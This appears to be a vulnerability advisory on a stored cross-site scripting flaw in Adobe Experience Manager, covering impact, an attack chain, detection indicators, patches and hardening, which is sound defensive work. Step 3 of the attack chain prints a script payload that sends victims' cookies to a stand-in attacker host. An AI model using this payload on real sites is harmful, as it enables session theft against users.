CVE-2026-75742: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2026-75742 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged authenticated attacker to inject malicious scripts into vulnerable form fields. When a victim browses to a page containing the injected field, the malicious JavaScript executes in their browser with a changed scope. Affected products include Adobe Experience Manager as a Cloud Service (versions up to and including 2026.7.0), Adobe Experience Manager 6.5 LTS (up to SP2), and Adobe Experience Manager 6.5 (up to 6.5.24). The vulnerability was disclosed and patched on September 8, 2026, with a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, GitHub Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the stored (persistent) variant. A low-privileged attacker can submit malicious JavaScript payloads into vulnerable AEM form fields; the application fails to properly sanitize or encode this input before storing and subsequently rendering it to other users. Exploitation requires network access, low complexity, low privileges, and user interaction (a victim must visit the affected page), and the scope change indicates the injected script can affect resources beyond the vulnerable component's security boundary (Adobe Advisory, GitHub Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users who visit pages containing the injected content, enabling session token theft, credential harvesting, user redirection to malicious sites, or performing unauthorized actions on behalf of victims. The confidentiality and integrity impacts are rated low, and there is no direct availability impact. The changed scope means the attack can affect users and resources beyond the initially compromised AEM component, increasing the potential blast radius across the platform (Adobe Advisory, GitHub Advisory).

There is no evidence of active in-the-wild exploitation or a publicly available proof-of-concept as of the time of disclosure. The EPSS score is approximately 0.277%, placing it in the 20th percentile for exploitation likelihood within 30 days. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and NVD SSVC assessment indicates exploitation is currently "none" and the attack is not automatable (GitHub Advisory, Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running a vulnerable version (AEM as a Cloud Service ≤ 2026.7.0, AEM 6.5 LTS ≤ SP2, or AEM 6.5 ≤ 6.5.24) and obtain low-privileged authenticated access.
2. Identify vulnerable form fields: Browse the AEM authoring or public-facing interface to locate form fields that accept and store user-supplied input without adequate sanitization.
3. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/submit the content.
4. Wait for victim interaction: The injected script is stored server-side and rendered to any user who subsequently browses to the page containing the vulnerable field.
5. Harvest results: When a victim (potentially a higher-privileged user or administrator) visits the page, the malicious JavaScript executes in their browser, enabling session token theft, credential capture, or further unauthorized actions (Adobe Advisory, GitHub Advisory).

• Logs: AEM access logs showing POST requests to form submission endpoints containing HTML/JavaScript tags or encoded script payloads (e.g., %3Cscript%3E, <script>, onerror=, javascript:) in form field parameters.
• Logs: AEM error or audit logs showing unexpected content stored in form fields or content nodes containing script tags.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM pages, potentially carrying cookie or session data as query parameters.
• File System / Content Repository: Presence of JavaScript payloads (e.g., <script> tags, event handler attributes like onload, onerror) within stored AEM content nodes or form data in the JCR repository.
• Process/Browser: Unexpected redirects or pop-ups experienced by users browsing AEM-hosted pages, or browser developer console errors related to Content Security Policy violations triggered by injected scripts.

Adobe has released security updates addressing this vulnerability: AEM as a Cloud Service users should update to version 2026.8.0 or later; AEM 6.5 LTS users should apply SP3 or later; and AEM 6.5 users should upgrade to version 6.5.25.0 or later. The patch details are documented in Adobe Security Bulletin APSB26-98. As additional hardening measures, organizations should implement Content Security Policy (CSP) headers to restrict script execution, enforce server-side input sanitization and output encoding for all user-supplied content, and apply the principle of least privilege to limit which users can submit content to sensitive form fields (Adobe Advisory).

The vulnerability was covered as part of Adobe's September 2026 patch cycle, which addressed multiple products. CIS Security issued an advisory noting multiple vulnerabilities in Adobe products patched in this release. Security monitoring platforms including Tenable and AusCERT published detection plugins and bulletins shortly after disclosure. No notable individual researcher commentary or significant social media discussion specific to this CVE has been observed, consistent with its medium severity rating and lack of public exploit code.